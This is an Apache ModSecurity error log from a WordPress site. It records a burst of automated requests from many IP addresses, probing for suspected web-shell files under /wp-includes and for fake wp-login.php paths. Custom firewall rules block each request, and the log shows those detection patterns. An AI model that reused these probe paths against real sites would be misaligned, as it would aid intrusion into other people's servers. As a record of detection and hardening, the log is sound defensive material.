[Tue Feb 24 17:14:26.468246 2026] [:error] [pid 34750:tid 34795] [client 173.239.214.59:56531] [client 173.239.214.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aZ1r8uaZ-Iv_wvbRkKLDXgAAAU4"]
[Tue Feb 24 17:14:32.102856 2026] [:error] [pid 34751:tid 34811] [client 173.239.214.42:36227] [client 173.239.214.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.42, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aZ1r-M7SW-lfeVKMPq8NTQAAAcM"]
[Tue Feb 24 17:15:00.175141 2026] [:error] [pid 34751:tid 34825] [client 173.239.214.42:36227] [client 173.239.214.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aZ1sFM7SW-lfeVKMPq8NcAAAAdE"]
[Tue Feb 24 17:15:05.629855 2026] [:error] [pid 34750:tid 34789] [client 173.239.214.35:35091] [client 173.239.214.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aZ1sGeaZ-Iv_wvbRkKLDmwAAAUg"]
[Tue Feb 24 17:15:10.735885 2026] [:error] [pid 34750:tid 34793] [client 173.239.214.35:35091] [client 173.239.214.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/item.php"] [unique_id "aZ1sHuaZ-Iv_wvbRkKLDpwAAAUw"]
[Tue Feb 24 17:15:29.024373 2026] [:error] [pid 34839:tid 34846] [client 173.239.214.43:39695] [client 173.239.214.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aZ1sMWLpm0-tb2ey61Gz-AAAAAU"]
[Tue Feb 24 17:15:45.166899 2026] [:error] [pid 34839:tid 34841] [client 173.239.214.35:21249] [client 173.239.214.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aZ1sQWLpm0-tb2ey61G0BQAAAAA"]
[Tue Feb 24 17:15:51.872925 2026] [:error] [pid 34749:tid 34777] [client 45.131.195.212:50023] [client 45.131.195.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aZ1sR4DERuV6HM3T9KmztQAAAFc"]
[Tue Feb 24 17:15:57.655187 2026] [:error] [pid 37095:tid 37099] [client 173.239.214.77:57421] [client 173.239.214.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aZ1sTSX8qkGqxKHLt3uA2AAAAII"]
[Tue Feb 24 17:16:00.121556 2026] [:error] [pid 37095:tid 37112] [client 173.239.214.77:57421] [client 173.239.214.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aZ1sUCX8qkGqxKHLt3uA2wAAAI8"]
[Tue Feb 24 17:16:34.779853 2026] [:error] [pid 34839:tid 34841] [client 173.239.214.47:31887] [client 173.239.214.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aZ1scmLpm0-tb2ey61G0TgAAAAA"]
[Tue Feb 24 17:16:40.620040 2026] [:error] [pid 34839:tid 34859] [client 173.239.214.65:37559] [client 173.239.214.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.65, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aZ1seGLpm0-tb2ey61G0WAAAABI"]
[Tue Feb 24 17:16:50.619403 2026] [:error] [pid 34839:tid 34863] [client 173.239.214.65:37559] [client 173.239.214.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aZ1sgmLpm0-tb2ey61G0awAAABY"]
[Tue Feb 24 17:16:53.717137 2026] [:error] [pid 34750:tid 34803] [client 173.239.214.29:55005] [client 173.239.214.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aZ1sheaZ-Iv_wvbRkKLEOQAAAVY"]
[Tue Feb 24 17:16:59.158583 2026] [:error] [pid 37095:tid 37114] [client 173.239.214.74:29761] [client 173.239.214.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aZ1siyX8qkGqxKHLt3uA7gAAAJE"]
[Tue Feb 24 17:17:07.039018 2026] [:error] [pid 37873:tid 37888] [client 173.239.214.52:61087] [client 173.239.214.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aZ1sk0625ION6Syu4d4bRAAAAM0"]
[Tue Feb 24 17:17:07.520561 2026] [:error] [pid 34839:tid 34845] [client 173.239.214.73:46833] [client 173.239.214.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aZ1sk2Lpm0-tb2ey61G0ewAAAAQ"]
[Tue Feb 24 17:17:18.285884 2026] [:error] [pid 37095:tid 37104] [client 173.239.214.75:54117] [client 173.239.214.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aZ1sniX8qkGqxKHLt3uA-AAAAIc"]
[Tue Feb 24 17:17:18.927604 2026] [:error] [pid 34751:tid 34823] [client 173.239.214.56:54751] [client 173.239.214.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aZ1sns7SW-lfeVKMPq8N6AAAAc8"]
[Tue Feb 24 17:17:27.201745 2026] [:error] [pid 37095:tid 37118] [client 173.239.214.30:35339] [client 173.239.214.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aZ1spyX8qkGqxKHLt3uBAAAAAJU"]
[Tue Feb 24 17:17:35.258831 2026] [:error] [pid 34751:tid 34828] [client 173.239.214.37:38613] [client 173.239.214.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aZ1sr87SW-lfeVKMPq8OAgAAAdQ"]
[Tue Feb 24 17:17:40.668003 2026] [:error] [pid 34750:tid 34799] [client 45.131.195.98:38779] [client 45.131.195.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/click.php"] [unique_id "aZ1stOaZ-Iv_wvbRkKLEkwAAAVI"]
[Tue Feb 24 17:17:48.577785 2026] [:error] [pid 34750:tid 34793] [client 173.239.214.34:59341] [client 173.239.214.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aZ1svOaZ-Iv_wvbRkKLEpwAAAUw"]
[Tue Feb 24 17:18:04.870721 2026] [:error] [pid 34749:tid 34767] [client 173.239.214.44:43199] [client 173.239.214.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aZ1szIDERuV6HM3T9Km0EAAAAE0"]
[Tue Feb 24 17:18:05.348372 2026] [:error] [pid 34750:tid 34785] [client 173.239.214.29:48611] [client 173.239.214.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aZ1szeaZ-Iv_wvbRkKLExgAAAUQ"]
[Tue Feb 24 17:18:05.896874 2026] [:error] [pid 34839:tid 34848] [client 173.239.214.77:65411] [client 173.239.214.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aZ1szWLpm0-tb2ey61G02AAAAAc"]
[Tue Feb 24 17:18:06.457881 2026] [:error] [pid 34749:tid 34758] [client 173.239.214.68:27937] [client 173.239.214.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aZ1szoDERuV6HM3T9Km0EgAAAEQ"]
[Tue Feb 24 17:18:09.633916 2026] [:error] [pid 37095:tid 37120] [client 173.239.214.37:64225] [client 173.239.214.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aZ1s0SX8qkGqxKHLt3uBHwAAAJc"]
[Tue Feb 24 17:18:10.081086 2026] [:error] [pid 34839:tid 34865] [client 173.239.214.29:63965] [client 173.239.214.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aZ1s0mLpm0-tb2ey61G03wAAABg"]
[Tue Feb 24 17:18:15.713988 2026] [:error] [pid 34750:tid 34788] [client 173.239.214.66:52029] [client 173.239.214.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ1s1-aZ-Iv_wvbRkKLE1QAAAUc"]
[Tue Feb 24 17:18:16.141551 2026] [:error] [pid 34839:tid 34859] [client 173.239.214.41:49039] [client 173.239.214.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aZ1s2GLpm0-tb2ey61G05QAAABI"]
[Tue Feb 24 17:18:16.607524 2026] [:error] [pid 34751:tid 34814] [client 173.239.214.41:36885] [client 173.239.214.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aZ1s2M7SW-lfeVKMPq8OEQAAAcY"]
[Tue Feb 24 17:18:17.104774 2026] [:error] [pid 34839:tid 34853] [client 173.239.214.77:22489] [client 173.239.214.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aZ1s2WLpm0-tb2ey61G05gAAAAw"]
[Tue Feb 24 17:18:19.120567 2026] [:error] [pid 34750:tid 34805] [client 173.239.214.38:60229] [client 173.239.214.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aZ1s2-aZ-Iv_wvbRkKLE3wAAAVg"]
[Tue Feb 24 17:18:20.073482 2026] [:error] [pid 34750:tid 34787] [client 173.239.214.47:28917] [client 173.239.214.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aZ1s3OaZ-Iv_wvbRkKLE5AAAAUY"]
[Tue Feb 24 17:18:30.693071 2026] [:error] [pid 37873:tid 37878] [client 173.239.214.33:43445] [client 173.239.214.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aZ1s5k625ION6Syu4d4bowAAAMM"]
[Tue Feb 24 17:18:49.221819 2026] [:error] [pid 34749:tid 34763] [client 173.239.214.61:51095] [client 173.239.214.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aZ1s-YDERuV6HM3T9Km0MwAAAEk"]
[Tue Feb 24 17:18:52.694442 2026] [:error] [pid 34839:tid 34845] [client 173.239.214.49:59917] [client 173.239.214.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aZ1s_GLpm0-tb2ey61G1MAAAAAQ"]
[Tue Feb 24 17:18:53.125603 2026] [:error] [pid 34839:tid 34862] [client 173.239.214.68:40027] [client 173.239.214.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aZ1s_WLpm0-tb2ey61G1MQAAABU"]
[Tue Feb 24 17:19:01.890923 2026] [:error] [pid 37873:tid 37896] [client 173.239.214.56:55509] [client 173.239.214.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aZ1tBU625ION6Syu4d4bxQAAANU"]
[Tue Feb 24 17:19:07.691876 2026] [proxy_fcgi:error] [pid 34751:tid 34830] [client 185.198.240.9:45309] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 17:19:07.929625 2026] [proxy_fcgi:error] [pid 34751:tid 34822] [client 185.198.240.9:45309] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 17:19:08.427256 2026] [proxy_fcgi:error] [pid 34751:tid 34809] [client 185.198.240.9:45309] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 17:19:09.768623 2026] [:error] [pid 34751:tid 34819] [client 185.198.240.9:45309] [client 185.198.240.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aZ1tDc7SW-lfeVKMPq8ORgAAAcs"]
[Tue Feb 24 17:19:10.221470 2026] [:error] [pid 34750:tid 34797] [client 173.239.214.55:63993] [client 173.239.214.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aZ1tDuaZ-Iv_wvbRkKLFhgAAAVA"]
[Tue Feb 24 17:19:10.641057 2026] [:error] [pid 34750:tid 34794] [client 185.198.240.9:30693] [client 185.198.240.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aZ1tDuaZ-Iv_wvbRkKLFhwAAAU0"]
[Tue Feb 24 17:19:11.089379 2026] [:error] [pid 34750:tid 34801] [client 173.239.214.62:36653] [client 173.239.214.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aZ1tD-aZ-Iv_wvbRkKLFiAAAAVQ"]
[Tue Feb 24 17:19:11.554792 2026] [:error] [pid 34750:tid 34804] [client 173.239.214.51:44667] [client 173.239.214.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aZ1tD-aZ-Iv_wvbRkKLFjQAAAVc"]
[Tue Feb 24 17:19:11.984074 2026] [:error] [pid 34839:tid 34860] [client 45.131.195.212:53451] [client 45.131.195.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aZ1tD2Lpm0-tb2ey61G1RQAAABM"]
[Tue Feb 24 17:19:15.007617 2026] [:error] [pid 34750:tid 34792] [client 173.239.214.65:54871] [client 173.239.214.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aZ1tE-aZ-Iv_wvbRkKLFoAAAAUs"]
[Tue Feb 24 17:19:15.476248 2026] [:error] [pid 34750:tid 34805] [client 173.239.214.29:61037] [client 173.239.214.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aZ1tE-aZ-Iv_wvbRkKLFowAAAVg"]
[Tue Feb 24 17:19:15.925478 2026] [:error] [pid 37095:tid 37106] [client 173.239.214.45:24413] [client 173.239.214.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aZ1tEyX8qkGqxKHLt3uBSwAAAIk"]
[Tue Feb 24 17:19:16.451908 2026] [:error] [pid 34751:tid 34826] [client 45.131.195.98:41749] [client 45.131.195.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aZ1tFM7SW-lfeVKMPq8OSgAAAdI"]
[Tue Feb 24 17:19:20.985759 2026] [:error] [pid 34839:tid 34853] [client 173.239.214.44:43757] [client 173.239.214.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aZ1tGGLpm0-tb2ey61G1XQAAAAw"]
